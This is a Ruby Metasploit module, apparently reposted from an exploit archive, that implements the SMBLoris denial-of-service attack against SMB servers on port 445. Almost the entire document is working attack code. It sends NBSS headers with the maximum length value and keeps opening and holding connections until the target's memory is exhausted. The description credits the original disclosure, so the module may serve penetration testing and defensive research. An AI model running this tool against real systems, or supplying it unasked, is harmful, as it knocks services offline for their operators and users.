## https://sploitus.com/exploit?id=PACKETSTORM:180497
#!/usr/bin/env ruby
require 'socket'
require 'metasploit'
require 'bindata'
class NbssHeader < BinData::Record
endian :little
uint8 :message_type
bit7 :flags
bit17 :message_length
end
metadata = {
name: 'SMBLoris NBSS Denial of Service',
description: %q{
The SMBLoris attack consumes large chunks of memory in the target by sending
SMB requests with the NetBios Session Service(NBSS) Length Header value set
to the maximum possible value. By keeping these connections open and initiating
large numbers of these sessions, the memory does not get freed, and the server
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
and Zach Harding.
DISCALIMER: This module opens a lot of simultaneous connections. Please check
your system's ULIMIT to make sure it can handle it. This module will also run
continuously until stopped.
},
authors: [
'thelightcosine',
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
date: '2017-06-29',
references: [
{ type: 'url', ref: 'https://web.archive.org/web/20170804072329/https://smbloris.com/' },
{ type: 'aka', ref: 'SMBLoris'}
],
type: 'dos',
options: {
rhost: {type: 'address', description: 'The target address', required: true, default: nil},
rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},
}
}
def run(args)
header = NbssHeader.new
header.message_length = 0x01FFFF
last_reported = 0
warned = false
n_loops = 0
sockets = []
target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)
Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "
while true do
begin
sockets.delete_if do |s|
s.closed?
end
nsock = target.connect(timeout: 360)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(Socket::Option.linger(true, 60))
nsock.write(header.to_binary_s)
sockets << nsock
n_loops += 1
if last_reported != sockets.length
if n_loops % 100 == 0
last_reported = sockets.length
Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
end
elsif n_loops % 1000 == 0
Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
end
rescue Interrupt
break
sockets.each &:close
rescue Errno::EMFILE
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned
warned = true
sockets.slice(0).close
rescue Exception => e
Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
end
end
end
if __FILE__ == $PROGRAM_NAME
Metasploit.run(metadata, method(:run))
end